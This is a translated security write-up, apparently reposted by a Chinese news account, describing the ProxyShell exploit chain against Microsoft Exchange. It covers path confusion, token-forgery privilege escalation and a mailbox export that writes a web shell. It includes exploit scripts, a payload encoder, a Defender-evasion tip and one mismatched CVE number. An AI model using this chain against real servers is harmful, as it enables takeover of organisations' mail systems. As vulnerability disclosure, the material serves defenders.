聚焦源代码安全,网罗国内外最新资讯!

编译:代码卫士

2021年4月,DEVCORE 研究团队成员 Orange Tsai 在Pwn2Own温哥华大赛上演示了位于微软 Exchange 中的一个远程代码执行漏洞,为此获得20万美元的奖励。自此,他披露了多个其它 Exchange 漏洞并在最近的黑帽大会上展示了其中一些研究成果。目前,微软已修复这些漏洞,Orange 披露了这些漏洞write-up 并称之为 “ProxyShell”。全文如下:

大家好,我是 DEVCORE 研究团队的 Orange Tsai。我将在本文介绍我们在 Pwn2Own 2021 大会上展示的利用链。它是微软 Exchange Server 上的一个预认证远程代码执行漏洞,我们将其称为 ProxyShell。本文将提供这些漏洞的更多详情。关于架构以及我们所发现的新攻击面内容,可参考链接 (https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/)。

ProxyShell 由三个漏洞组成:

  • CVE-2021-34473:可导致 ACL 绕过的预认证路径混淆漏洞

  • CVE-2021-24523:在 Exchange PowerShell 后台的提权漏洞

  • CVE-2021-31207:可导致 RCE 的认证后任意文件写漏洞

未认证攻击者可利用 ProxyShell 漏洞通过被暴露的端口443在微软 Exchange Server 上执行任意命令。

CVE-2021-34473:预认证路径混淆

第一个漏洞类似于 ProxyLogon 中的 SSRF,当前端(被称为客户端访问服务或 CAS)在计算后端 URL 时,该漏洞也会出现。当客户端HTTP请求被归类为 Explicit Logon Request 时,Exchange 将规范化该请求 URL 并在将请求路由至后端前删除邮件箱地址。

Explicit Logon是Exchange 中的一个特殊功能,可使浏览器通过单个URL嵌入或展示某个特定用户的邮箱或日历。为实现该功能,这个URL必须是简单的而且包含要展示的邮箱地址。如:

https://exchange/OWA/user@orange.local/Default.aspx

我们研究发现,在某些句柄如 EwsAutodiscoverProxyRequestHandler   中,可通过查询字符串指定邮箱地址。由于 Exchange 并充分检查邮箱地址,我们可在 URL 规范化过程中通过查询字符串擦除部分URL,访问任意后端 URL。

HttpProxy/EwsAutodiscoverProxyRequestHandler.cs

protected override AnchorMailbox ResolveAnchorMailbox() { if (this.skipTargetBackEndCalculation) { base.Logger.Set(3, "OrgRelationship-Anonymous"); return new AnonymousAnchorMailbox(this); } if (base.UseRoutingHintForAnchorMailbox) { string text; if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)) { text = base.ClientRequest.Params["Email"]; } else if (RequestPathParser.IsAutodiscoverV2Version1Request(base.ClientRequest.Url.AbsolutePath)) { int num = base.ClientRequest.Url.AbsolutePath.LastIndexOf('/'); text = base.ClientRequest.Url.AbsolutePath.Substring(num + 1); } else { text = this.TryGetExplicitLogonNode(0); } string text2; if (ExplicitLogonParser.TryGetNormalizedExplicitLogonAddress(text, ref text2) && SmtpAddress.IsValidSmtpAddress(text2)) { this.isExplicitLogonRequest = true; this.explicitLogonAddress = text; //... } } return base.ResolveAnchorMailbox();
} protected override UriBuilder GetClientUrlForProxy() { string absoluteUri = base.ClientRequest.Url.AbsoluteUri; string uri = absoluteUri; if (this.isExplicitLogonRequest && !RequestPathParser.IsAutodiscoverV2Request(base.ClientRequest.Url.AbsoluteUri)) { uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress); } return new UriBuilder(uri);
}

从以上代码片段中可知,如果 URL 传递对 IsAutodiscoverV2PreviewRequest 的检查,则可通过查询字符串的Email 参数来指定 Explicit Logon 地址。由于该方法仅简单验证了 URL 的后缀,因此很容易指定该地址。

public static bool IsAutodiscoverV2PreviewRequest(string path) {
ArgumentValidator.ThrowIfNull("path", path);
return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase);
} public static bool IsAutodiscoverV2Request(string path) { ArgumentValidator.ThrowIfNull("path", path); return RequestPathParser.IsAutodiscoverV2Version1Request(path) || RequestPathParser.IsAutodiscoverV2PreviewRequest(path);
}

Explicit Logon 地址之后以参数的形式被传递给方法 RemoveExplicitLogonFromUrlAbsoluteUri,而该方法仅使用 Substring 擦除我们指定模式。

public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) { ArgumentValidator.ThrowIfNull("absoluteUri", absoluteUri); ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress); string text = "/" + explicitLogonAddress; int num = absoluteUri.IndexOf(text); if (num != -1) { return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length); } return absoluteUri;
}

我们可设计如下 URL,滥用 Explicit Logon URL 的规范化进程:

https://exchange/autodiscover/autodiscover.json?@foo.com/?&          Email=autodiscover/autodiscover.json%3f@foo.com

这个有问题的 URL 规范化流程可使我们在以 Exchange Server 机器账户运行时访问任意后端URL。尽管该 bug 不如 ProxyLogon 中的 SSRF 那样强大,而且我们仅可操纵 URL 的路径部分,但它仍然足够强大到使我们以任意后端访问权限执行更多攻击。

CVE-2021-34523:Exchange PowerShell 后端提权漏洞

截至目前,我们能够访问任意后端URL。余下的就是利用后了。由于Exchange 执行了深入的 RBAC 防御措施( /Autodiscover 中的 ProtocolType 不同于 /Ecp),ProxyLogon 中用于生成 ECP 会话而使用的低权限操作被禁止。因此,我们必须找到利用它的方法。在这里我们关注的是名为 “Exchange PowerShell Remoting” 的功能。

Exchange PowerShell Remoting 功能可使用户从命令行发送邮件、读取邮件、甚至更新配置。Exchange PowerShell Remoting 建立于 WS-Management 之上并未自动化执行无数的 Cmdlets。然而,认证和授权部分仍然基于原始的 CAS 架构。

应当注意的是,尽管我们可以访问 Exchange PowerShell 的后端,但仍然无法正确与之交互,因为并不存在User NT AUTHORITY\SYSTEM 的有效邮箱。我们也无法注入 X-CommonAccessToken 标头来伪造身份以冒充其它用户。

那我们能做什么?我们全面检查了 Exchange PowerShell 后端的实现,发现可利用一个有意思的代码通过URL指定用户身份。

Configuration\RemotePowershellBackendCmdletProxyModule.cs

private void OnAuthenticateRequest(object source, EventArgs args) { HttpContext httpContext = HttpContext.Current; if (httpContext.Request.IsAuthenticated) { if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) { Uri url = httpContext.Request.Url; Exception ex = null; CommonAccessToken commonAccessToken = CommonAccessTokenFromUrl(httpContext. User.Identity.ToString(), url, out ex); } }
} private static CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI, out Exception ex) { ex = null; CommonAccessToken result = null; string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri(requestURI).Get("X-Rps-CAT"); if (!string.IsNullOrWhiteSpace(text)) { try { result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text)); } catch (Exception ex2) { // handle exception here } } return result;
}

从代码片段可知,当 PowerShell 后端无法找到当前请求中的 X-CommonAccessToken 标头时,会试图反序列化并从查询字符串的 X-Rps-CAT 参数中恢复用户身份。该代码片段看似为内部 Exchange PowerShell 内部通信而设计。然而,由于我们能够直接访问该后端并在 X-Rps-CAT 中执行任意值,因此我们能够冒充任意用户。我们借此将自己从没有邮箱的系统账户“降级”至Exchange Admin。

现在,我们可以 Exchange Admin 身份执行任意 Exchange PowerShell 命令!

CVE-2021-31207:认证后任意文件写漏洞

该利用链的最后一步就是使用 Exchange PowerShell 命令找到认证后 RCE 技术。由于我们是管理员,可疑利用数百个命令,因此并不难办到。我们找到命令 New-MailboxExportRequest,将用户的邮箱导出到某个特定路径。

New-MailboxExportRequest -Mailbox orange@orange.local -FilePath\\127.0.0.1\C$\path\to\shell.aspx

该命令对我们很有用,因为我们可借此在任意路径创建文件。更好的是,被导出的文件是一个存储着用户邮件的邮箱,因此我们可通过 SMTP 交付恶意 payload。但唯一的问题是,邮件内容并未以明文格式存储,因为我们无法在导出的文件中找到 payload。

我们发现输出是 Outlook Personal Folders (PST) 格式。从微软的官方文档中可知,该 PST 仅使用简单的 Permutative Encoding (NDB_CRYPT_PERMUTE) 来编码我们的payload。因此我们可以在将其发出之前编码该 payload,而当该服务器试图保存并编码 payload 时,就会将其转为原始的恶意代码。

def encode(payload): mpbbCryptFrom512 = [ 65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93, 30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136, 76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231, 35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251, 170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160, 143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191, 38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134, 126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205, 226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48, 77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129, 18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220, 144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135, 88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148, 243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103, 16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192, 162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61 ] tmp = '' for i in payload: tmp += chr(mpbbCryptFrom512.index(ord(i))) assert '\n' not in tmp and '\r' not in tmp return tmp

Exploit

让我们把所有都链接在一起!

步骤1:恶意 payload 交付

首先,通过 SMTP 将已编码的 web shell 交付给目标邮箱。如目标邮件服务器不支持越权用户发送邮件,则也可使用 Gmail 从外部交付恶意 payload。

from_mail = 'attacker@exchange.local'
to_mail   = 'orange@exchange.local'
payload   = 'webshell code here...' msg = MIMEText(None, _subtype='plain')
msg.set_payload('hi', 'utf-8') msg['Subject'] = 'exploit'
msg['From'] = from_mail
msg['To'] = to_mail
msg['TEST'] = ('A'*16) + encode(payload) + ('A'*16)
msg = msg.as_string().replace('\n', '\r\n') r = smtplib.SMTP('exchange.local', port=25)
r.sendmail(from_mail, to_mail, msg)

步骤2:PowerShell 会话建立

由于 PowerShell 建立于 WinRM 协议基础之上,实现通用的 WinRM 客户端并不容易,因此我们使用代理服务器劫持 PowerShell 连接并修改该流量。首先,我们将 URL 重写到 EwsAutodiscoverProxyRequestHandler 的路径,触发该路径混淆 bug 并使我们访问 PowerShell 后端。之后我们将参数 X-Rps-CAT 插入查询字符串以冒充任意用户。这里,我们可指定 Exchange Admin 的 SID 成为管理员!

app = Flask(__name__)
@app.route('/<path:path>', methods = ['POST', 'GET'])
def index(path): if request.method == 'GET': return 'ok' # check data data = request.stream.read() action = re.search(r'<a:Action s:mustUnderstand="true">(.+?)</a:Action>', data) assert action, "WinRM action not found" # modify headers req_headers = {} for k, v in request.headers.iteritems(): if k == 'Host': v = HOST if k == 'Authorization': continue req_headers[k] = v # create X-Rps-CAT token token = b64encode(create_token(SID, LOGON_NAME)) # rewrite to `autodiscover` and trigger the path confusion bug  r = exploit('/Powershell?X-Rps-CAT=' + token, headers=req_headers, data=data) # make response resp = Response(r.content, status=r.status_code) for k, v in r.headers.iteritems(): if k in ['Content-Encoding', 'Content-Length', 'Transfer-Encoding']: continue resp.headers[k] = v return resp app.run(host="127.0.0.1", port=8000)

步骤3:恶意 PowerShell 命令执行

在所建立的 PowerShell 会话中,我们执行如下 PowerShell 命令:

1、New-ManagementRoleAssignment,获得 Mailbox Import Export 角色

2、New-MailboxExportRequest,将包含恶意 payload 的邮箱导出到 webroot,作为 web shell。

$uri = 'http://127.0.0.1:8000/PowerShell/'
$username = 'whatever' # unimportant
$password = 'whatever' # unimportant $secure = ConvertTo-SecureString $password -AsPlainText -Force
$creds  = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $secure)
$option = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck $params = @{ ConfigurationName = "Microsoft.Exchange" Authentication    = "Basic" ConnectionUri     = $uri Credential        = $creds SessionOption     = $option AllowRedirection  = $ture
}
$session = New-PSSession @params Invoke-Command -Session $session -ScriptBlock { # PowerShell commands to execute...
}

其它说明

自 ProxyLogon 漏洞后,Windows Defender 开始拦截 Exchange Server webroot 下的危险行为。为成功地在 Pwn2Own 大会上获得 shell,我们花了一点时间绕过 Defender。我们发现,如果我们直接调用 cmd.exe,则 Defender 会实施拦截。然而,如果首先将 cmd.exe 通过 Scripting.FileSystemObject 复制到 webroot 下的 <random>,exe并执行,则运行成功且Defender 不会有任何操作。

另外一处需要说明的是,如果组织机构使用 Exchange Server 集群,则有时候会发生 InvalidShellID 异常。造成这个问题的原因在于在处理加载均衡器时我们需要一点运气。这时候可尝试捕获异常并再次发送请求。

最后一步,shell 获取成功!

补丁

微软已在4月和5月修复所有的这三个漏洞,但在三个月之后才公布补丁并分配CVE编号。微软给出的理由是4月份发布的更新虽然解决了漏洞但遗漏了CVE编号。

至于 CVE-2021-31207,则微软并未修复任意文件写漏洞,但使用白名单将文件扩展限制为 .pst、.eml 或 .ost。

至于在4月修复但在7月发布 CVE 的漏洞,Exchange 目前会检查 IsAuthenticated 的值,确保所有前端请求在生成访问后端的 Kerberos 工单时经过验证。

结论

尽管四月的补丁缓解了该新型攻击面的认证部分,但CAS 仍然是安全研究员猎洞的好去处。实际上,我们在4月补丁后还发现了其它一些漏洞。总之,Exchange Server 是一个挖洞的宝藏去处。如我们之前所言,即使在2020年,仍然可在Exchange Server 中找到硬编码密钥。我可以向大家保证,未来微软将修复更多的 Exchange 漏洞。

对于系统管理员而言,由于它是一个架构问题,因此缓解攻击面不可能一劳永逸。管理员能做得就是持续更新 Exchange Server并限制其在互联网的外部暴露。至少,应该应用4月发布的累积更新,阻止大部分的这类预认证漏洞!

推荐阅读

【BlackHat】速修复!有人正在扫描 Exchange 服务器寻找 ProxyShell 漏洞

Black Hat USA 2021主议题介绍

微软:确实存在另一枚 print spooler 0day,目前尚未修复

微软8月补丁星期二值得关注的几个0day、几个严重漏洞及其它

奇安信代码安全实验室研究员入选“2021微软 MSRC 最具价值安全研究者”榜单

原文链接

https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell

题图:Pixabay License

本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的产品线。

 觉得不错,就点个 “在看” 或 "赞” 吧~

猎洞高手Orange Tsai 亲自讲解 ProxyShell write-up相关推荐

  1. 4年猎洞赚百万美金:谈谈我的入门和成功经验

    本文作者Ozgur Alp 是一名土耳其的独立漏洞猎人兼攻击安全顾问.他在四年的时间里通过挖掘漏洞赢得100万美元的奖励,以下是他对自己个人经验的总结,奇安信代码卫士团队编译如下,希望能给读者带来一些 ...

  2. 猎洞20年老兵的经验之谈

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 Hacking 老兵 @ralamosm 已猎洞20多年.他是HackerOne 平台上的"最有价值黑客 (MVH)" ...

  3. 追风猎洞只能喝西北风吗?

     聚焦源代码安全,网罗国内外最新资讯! Pedro Worcel(即 @benteveo)在 IT 行业已经摸爬滚打了十多年.他曾是 Java.PHP.Python 和 C++ 开发员,也曾开发过多款 ...

  4. Spark分区详解!DT大数据梦工厂王家林老师亲自讲解!

    Spark分区详解!DT大数据梦工厂王家林老师亲自讲解! http://www.tudou.com/home/_79823675/playlist?qq-pf-to=pcqq.group 一.分片和分 ...

  5. 聊聊猎洞的残酷真相:一腔孤勇,为爱发电

     聚焦源代码安全,网罗国内外最新资讯! 你是否身陷猎洞或网络安全研究困境?这里可能有你想要的答案. 安全圈子的猎洞获奖金的新闻扑面而来,仿佛"白帽黑客"这几个字都自带光芒,闻起来都 ...

  6. 此更新不适用您的计算机 win10,高手亲自讲解Win10系统提示此更新不适用于您的详尽处理办法...

    大家都知道,我们生活中离不开电脑,在使用电脑的过程可能就会碰到Win10系统提示此更新不适用于您的问题,见过Win10系统提示此更新不适用于您这样问题的用户其实不是很多,也就没有相关的解决经验.我们来 ...

  7. win12服务器文件设置只读,高手亲自讲解win10文件夹只读属性改不了的修复办法...

    win10系统从发布到现在已经更新了数不清的版本了,每次更新都会解决一些问题,但还是难免会有win10文件夹只读属性改不了的问题.要是你的电脑知识不够丰富,那面对win10文件夹只读属性改不了的问题就 ...

  8. 词向量, BERT, ALBERT, XLNet全面解析(ALBERT第一作者亲自讲解)

    Datawhale Datawhale编辑 现在是国家的非常时期,由于疫情各地陆续延迟复工,以及各大院校延期开学.作为一家 AI 教育领域的创业公司,贪心学院筹划了5期NLP专题直播课程,希望在这个非 ...

  9. Transformer, BERT, ALBERT, XLNet全面解析(ALBERT第一作者亲自讲解)

    现在是国家的非常时期,由于疫情各地陆续延迟复工,以及各大院校延期开学.作为一家AI教育领域的创业公司,我们希望在这个非常时期做点有价值的事情,并携手共渡难关.在疫情期间,我们决定联合国内外顶尖AI专家 ...

最新文章

  1. v-show和v-if的区别
  2. Python编程基础:第三十九节 面向对象编程Object Oriented Programming
  3. PHP——获取路径和目录
  4. 快速生成NHibernate的映射文件和映射类的利器 —— codesmith软件
  5. 开发测试服务器配置信息,node服务端中台实现及开发测试生产环境配置
  6. Storm精华问答 | storm与Hadoop有什么区别?
  7. 智能家居落地还有多远?
  8. React 组件间通讯
  9. 关于Oracle检索字段值小数点前面0不显示问题
  10. word排版案例报告_看完这4个文章排版要点,你就会排版啦!
  11. python哪个字体好看_Python实现对比不同字体中的同一字符的显示效果
  12. gt240m x86 android,国产平板福音!INTEL ATOM x86_64位Xposed框架,Android5.1(lolipop)适用...
  13. IOI2011 Race
  14. 使用while循环实现xyz+yzz=532
  15. 深入理解各种图片格式
  16. 【高项】沟通管理(ITTO)
  17. Untiy AVpro
  18. 每天学点clickhouse
  19. Linux中Kill进程的N种方法
  20. [HNOI2014]米特运输

热门文章

  1. android 打开设备失败
  2. 烂泥:LVM学习之LVM基础
  3. WebLogic 控制台乱码
  4. Puppet 笔记 模板
  5. Linux shell 字符串转数字进行运算符操作
  6. Mac之初~10个快速上手技巧
  7. WordPress 修改固定链接出错(apache2)
  8. WEB 自动化测试工具 Selenium 简介及其应用
  9. Android学习小Demo(10)ToDoList的加强版
  10. JavaScript in Action